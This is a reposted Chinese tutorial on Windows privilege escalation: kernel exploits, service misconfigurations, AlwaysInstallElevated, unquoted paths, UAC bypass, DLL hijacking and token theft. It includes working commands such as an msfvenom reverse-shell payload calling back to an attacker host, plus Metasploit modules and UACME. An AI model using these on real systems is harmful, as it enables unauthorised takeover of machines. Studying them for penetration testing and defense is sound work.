admin 管理员组文章数量: 887021
一、前言
在Windows中,权限大概分为四种:
- User:普通用户权限,默认不允许修改系统的设置或用户资料
- Administrator:管理员权限,可以利用Windows的机制将自己提升为System权限
- System:系统权限,可以对SAM等敏感文件进行读取
- TrustedInstaller:最高权限,不涉及,作用于系统文件
提升权限(也称提权)的方式分为以下两类:
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权,拥有了管理员权限
- 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限
提权方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- Web中间件漏洞提权
- DLL劫持提权
- 滥用高权限令牌提权
- 第三方软件/服务提权
二、系统内核溢出提权
1、溢出漏洞原理
【漏洞解析】举个小栗子说明溢出漏洞利用原理及其检测原理 – 绿盟科技技术博客
2、溢出漏洞提取原理
利用window系统中没有打补丁的内核溢出漏洞进行攻击。
1.查看当前用户权限
- Whoami /groups
2.查看系统安全补丁
- systeminfo
- wmic qfe get Caption,Description,HotFixID,InstalledOn
3.与可以进行提权的内核溢出漏洞exp进行对比
- https://github/SecWiki/windows-kernel-exploits
4.执行EXP
3、查看系统补丁
1、手工
//查看当前权限
whoami /groups//查询补丁号的两种方式
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn攻击者利用方式:寻找提权的EXP,将已安装的补丁编号与提权的EXP进行对比,使用不在目标机里的编号EXP进行提权
寻找特定的补丁编号:(存在便显示)
wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB3143141" /C:"KB2999226"
2、msfconsole(MSF)
先将 shell 中断,将程序放置后台(挂起)。输入 ctrl + z, 结果是可以看到session 还是存在的。
msf使用post后渗透模块,查询目标机补丁信息
use post/windows/gather/enum_patches
通过show options 设置属性值,渗透成功后得到目标机信息
3、 Windows Exploit Suggester
Windows Exploit Suggester将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息
下载地址:https://github/AonCyberLabs/Windows-Exploit-Suggester
首先更新漏洞数据库,会生成一个xls的文件
sudo python2 windows-exploit-suggester.py --update
然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:
systeminfo > sysinfo.txt
最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d BulletinSearch.xlsx -i sysinfo.txt
MSF中也存在类似模块
use post/multi/recon/local_exploit_suggester
set session 1
run
4、Powershell中的Sherlock
Powershell中的Sherlock脚本可以快速查找可能用于本地权限提升的漏洞
下载地址:https://raw.githubusercontent/rasta-mouse/Sherlock/master/Sherlock.ps1
sherlock和上述的
Windows-Exploit-Suggester
具有同样的作用。使用方法:
step1: 输入
Import-Module .\Sherlock.ps1
导入脚本step2:输入
Find-AllVulns
扫描
三、系统服务权限配置错误提权
windows操作系统中的常见配置错误包括:
-
管理员凭证配置错误
-
服务配置错误
-
故意削弱的安全措施
-
用户权限过高
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务。
系统服务权限配置错误有如下两种可能:
- 服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。
使用PowerUP脚本
下载地址:https://github/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
在cs下
powershell-import PowerUp.ps1
powershell invoke-allchecks
在powershell下
Import-Module .\Sherlock.ps1 导入模块
Invoke-AllChecks 查询服务
发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。 以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。
msf(service_permissions)模块
使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。
exploit/windows/local/service_permissions
show options
set session 2
注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。 windows允许低权限用户以System权限运行安装文件。 如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
判断是否激活alwaysinstallelevated
-
通过powerup判断
打开powershell,绕过执行策略并添加倒入powerup模块
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerUp.ps1
使用Get-RegistryAlwaysInstallElevated命令
-
通过注册表的键值判断
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
也确定了没有激活AlwaysInstallElevated。
激活AlwaysInstallElevated
激活它可以通过修改注册表的键值或者在图形化页面上激活。 图形化如下,路径为计算机设置\管理模版\windows组件\windows installer,选中已启用即可,需要管理员权限:
通过修改注册表
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
修改注册表的这两项需要有下面两权限:
SeRestorePrivilege
SeTakeOwnershipPrivilege
使用whoami /priv可以查看权限。
提权
下载exemsi
https://www.exemsi/download/
用msf生成exemsfvenom -p windows/x64/meterpreter/reverse_http LPORT=9090 LHOST=172.16.250.1 -f exe >1.exe
使用exemsi将exe封装为msi。 软件页面如下,这一部很简单,不过多阐述。
运行msi程序,得到system权限的shell。 受害者机器上执行:msiexec /q /i 1.msi
攻击者机器上弹回shell
可信任服务路径漏洞
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。 例如,有如下的文件路径
sc stop service_name
sc start service_name
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program
C:\Program Files (x86)\Razer
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
可信任服务路径漏洞利用了Windows文件路径解析的特性:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格(可信任服务路径),那么这个服务就是有漏洞的。
操作步骤 1.执行下列代码探测符合条件的服务
wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\”
2.确认该目录是否可写
3.重启服务
sc stop service_name
sc start service_name
msf利用:
使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启
msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个meterpreter,但是反弹的会很快中断,需迁移进程
命令执行后,会自动反弹一个新的meterpreter。再次查询权限,显示提权成功,需要注意的是,反弹的meterpreter 会很快中断,这是因为当一个进程在Windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中(可以使用“set AutoRunScript migrate -f”命令自动迁移进程)。
不安全的服务权限漏洞
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有 过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk.exe -uwcqv "administrators" *
sc config "NewServiceName" binpath="C:\Program.exe"
sc start "NewServiceName"
四、绕过UAC提权
UAC(用户账号控制)的通俗解释:
有时候我们拿到了一个非administrator的管理员用户权限,其实非administrator的管理员权限还是有限,运行某些程序或执行某些操作时 会弹出用户账户控制,如果点击否或者不点击就会出现拒绝访问,那么也就没有成功执行操作,影响后续的内网渗透,所以要绕过uac。
1.如test加入了管理员组,假设我们拿到了这个用户的权限
此时,我们想运行"Regcoo-x64注册表编辑工具.exe”,该工具图标右下角有管理员图案,则这个工具会弹出用户账户控制(有些没有管理器图案也会弹)。如果点击是则运行该程序,但是我们拿到的权限往往是没有图形化界面的,手动点击显然不现实。
2.如果是administrator下,该工具图标不会出现管理员图案,可以直接运行
3.如果是在普通用户下,该工具图标右下角也会有管理员图案,并且需要输入管理员密码才能运行
所以,在实战中,如果攻击者可以绕过windows uac机制,使非RID500的管理账户可以不需用户批准直接使用管理员访问令牌,从而获得全部的管理权限。注意,UAC实际上是一种权限保护机制,而Bypass UAC仅仅是绕过了这一保护机制,本质上并不能将其看作是一种真正的提权。
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
UAC白名单
微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默方式自动提升到管理员权限不弹出UAC框 如slui.exe、wuUSa.exe、taskmgr.exe、msra.exe、eudcedi.exe、eventvwr.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe等。 攻击者可以对这些白名单程序进行dll劫持、dll注入或注册表劫持等,绕过uac并提升权限。
寻找白名单程序
在寻找白名单程序时,可以使用微软工具sigcheck和Strings。 白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate属性的值为True。
1.sigcheck可以检测程序是否具有autoElevate属性
以Computerdefaults.exe为例,该程序位于c:\windows\system32目录下
sigcheck.exe /accepteula -m c:\windows\system32\Computerdefaults.exe
2.Strings可以找出所有具有autoElevate属性的程序
strings.exe /accepteula -s c:\windows\system32\*.exe | findstr /i "autoElevate"
例子
下面以Computerdefaults.exe为例进行分析,并通过该程序绕过UAC进行提权。将其运行,会打开默认应用界面
我们利用ProcessMonitor对该进程的行为做一个监听:
先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute
因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd:
对了,当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。
DLL劫持
windows系统中的很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库(DLL)文件,其中包含程序运行所使用的代码和数据。 当应用程序启动时,相应的DLL文件就会被加载到程序进程的内存空间。 攻击者可以通过一些手段,欺骗合法的、受信任的应用程序加载恶意的DLL文件,从而造成DLL劫持。
当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序会以特定的顺序依次在指定路径下搜索待加载的DLL在开启安全DLL 搜索模式 (win xp后默认开启)的情况下,将按以下顺序进行搜索: 程序安装目录→系统目录(c:lwindowslSystem32)->16位系统目录(c:windowslsystem) -> windows目录(c:lwindows)->当前工作目录→>PATH环境变量中列出的各目录。
如果将同名的恶意DLL文件放在合法DLL文件所在路径之前的搜索位置,当应用程序搜素dll时,就会以恶意dl代替合法的dll来加载。 这就是经典的dll预加载劫持情景,利用前提是拥有对上述目录的写入权限,并且恶意dll需要与原始dl拥有相同的导出表函数。 攻击者可以通过dll劫持技术来执行攻击载荷,通常可能是为了实现权限的持久化。 但是,如果加载dll文件的应用程序是在提升的权限下运行,那么其加载的dll文件也将在相同的权限下运行,因此dll劫持也可以实现权限提升。
基于上述原理,通过劫持uac白名单程序所加载的dll文件,攻击者就可以借助白名单程序的自动提升权限来bypass uac。注意,这些白名单程序所加载的dll文件几乎都位于系统可信任目录中,而这些目录对标准用户来说是不可写的。因此,接下来我们需学习模拟可信任目录中的内容
模拟可信任目录
在各种Bypass uac的手法中总会出现白名单的影子。 前文讲到, uac白名单中的程序在用户启动时不会弹出提示窗口,可以自动提升权限来运行。 并且,白名单程序都拥有一个共同的特性,即Manitest中autoElevate属性的值为True。
当启动的程序请求自动提升权限时,系统会先读取可执行文件中的Manitest信息,解析autoElevate属性字段的值。 如果该字段存在并且值为True,就会认为这是一个可以自动提升权限的可执行文件。 并且,系统会检查可执行文件的签名,这意味着无法通过构造autoElevate信息或冒充可执行文件名来实现自动权限提升。 此外,系统会检查可执行文件是否位于系统可信任目录中,如c:windowslsystem32目录。 当这三个条件全部通过后,则允许程序自动提升权限,有任意一个条件不通过都会被系统拒绝。 即程序请求自动提升权限的条件:
-
文件Manitest中autoElevate属性的值为True
-
检查文件的签名
-
文件是否位于系统可信任目录中
注意,系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。
如果可执行文件位于“C:windows \system32"目录(在windows后有一个空格,下文统称'模拟可信任目录")中,系统在检查时会自动去除路径中的空格,这样就通过了最后一个条件的检查。 基于此原理,攻击者根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC。
以WinSAT.exe程序为例,创建c:iwindows ISystem32模拟可信任目录,并将白名单程序winSAT.exe复制到该目录中
md "\\?\c:\windows "
md "\\?\c:\windows \System32"
copy c:\windows\system32\winSAT.exe "\\?\c:\windows \System32\winSAT.exe"
启动winSAT.exe,使用monitor检测其进程所加载的dll。 发现程序尝试在当前包含空格的目录加载d都失败了,可以编写一个恶意的dl文件并将其放入该目录进行dll劫持。 注意,构造的dl需要与原来的dll具有相同的导出函数。 最后运行winSAT.exe即可绕过uac提升权限。
ByPass 工具
UACME
UACME是一个专用于绕过uac的开源项目,目前已包含70多种Bypass uac的方法。 利用方式主要可以分为两大类:
-
各类UAC白名单程序的DLL劫持(Dll Hijack)
-
各类提升权限的COM接口利用(Elevated COM interface)
在UACME项目中,每种绕过uac的方法都有一个数字编号,由一个名为Akagi.exe的主程序进行统一调用,命令如下
Akagi.exe [key] [Param]
#key ,指定要使用的方法的编号
#Parm,指定绕过UAC后要运行的程序或命令,默认启动一个关闭了uac的cmd窗口
下面以23号方法为例进行演示,该方法通过劫持白名单程序pkgmgr.exe所加载的DismCore.dll来绕过uac。 运行如下,即可弹出一个关闭了uac的命令窗口
Akagi.exe 23 c:\windows\system32\cmd.exe
cs插件SharpBypassUAC
假设获取了一个加入了管理员组的用户test权限,由于不是administrator,权限还是非常有限,如添加用户和导出密码等操作都无法执行
选祷杌的插件ByPass UAC之SharpBypassUAC,这里通过绕过uac然后再次执行beacon.exe,就能弹回一个高权限的shell。对命令进行base64编码,然后填入如下,点击run
此时弹回的会话,虽然用户名还是一样,但是权限确多了很多
可以轻松抓取hash
注意,这个插件bypass uac后执行cmd命令“cmd lc命令”,是无回显的。所以这里选择运行攻击载荷来弹回一个高权限的会话。
MSF下的利用
msf(bypassuac)模块
MSF中Bypassuac模块的使用前提有两个:
-
系统当前用户必须在管理员组中
-
用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
msf中内置了几个用于绕过uac的模块
如使用eventvwr模块
直接返回—个高权限的会话
bypass uac一般用在非administrator管理员用户下进行权限提升,方法主要是通过劫持uac白名单程序所加载的dll文件进行提权
msf(ask)模块
使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。
使用该模块的前提:
当前用户必须在管理员组中 或 知道管理员的密码,对UAC的设置则没有要求。
用户需要手动点击弹出的程序,是
Nishang中的Invoke-PsUACme模块
//使用sysprep方法并执行默认的payload
Invoke-PsUACme -Verbose
//使用oobe方法并执行默认的payload
Invoke-PsUACme -methed oobe -Verbose
//使用oobe方法执行自定义的payload
Invoke-PsUACme -methed oobe -Payload "powershell -windowstyle hidden -e <your encoded payload>"
可以使用payloadpath参数指定payload的路径。
针对绕过UAC提权的防御措施
在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)。
五、令牌窃取
令牌(Token)
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。 它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。 令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。 所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
-
访问令牌(Access Token):表示访问控制操作主体的系统对象
-
会话令牌(Session Token):是交互会话中唯一的身份标识符。
-
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
直接获取
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。 当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
适用版本:
本地提权实验:获取会话-利用模块-窃取令牌-提权
-
Microsoft Windows XP Professional SP3和之前版本
-
Windows Server 2003 SP2和之前的版本
-
Windows Server 2003 x64和x64 SP2
-
Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
-
Windows Server 2008 x32 x64
-
Windows Server 2008(用于基于Itanium的系统)
-
Windows Vista SP1和之前的版本
-
Windows Vista x64 SP1和之前的版本
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
MSF伪造令牌实战
假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。
此时,我们可以尝试使用假冒令牌进行提权。
use incognito #进入incognito模块
list_tokens -u #列出令牌
如图,可以看到有两种类型的令牌。
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
令牌的数据取决于当前获取权限的高低。
当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。
impersonate_token "NT AUTHORITY\\SYSTEM"
烂土豆提权
烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户
原理:
通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端; 接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。 这个过程是通过一系列的Windows API调用实现的; 只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌 (一般大多数的服务型账户,例如:IIS、MSSQL…具有该权限,大多数用户级别的账户没有该权限)
烂土豆提权需要具有“模仿安全令牌权限”。我们要先进行查看是否有这个权限
查看是否具有Selmpersonate权限
getprivs
##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv
然后跟上边的令牌窃取一个意思,就是上传完exe之后执行,再去获得令牌
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功
使用msf的ms16-075
use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploit
或者
upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
防御
补丁、禁止来路不明的文件、令牌时效性、加密存储和多重验证保护、加密链路传输
版权声明:本文标题:windows系统权限提升 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1727454321h1119744.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论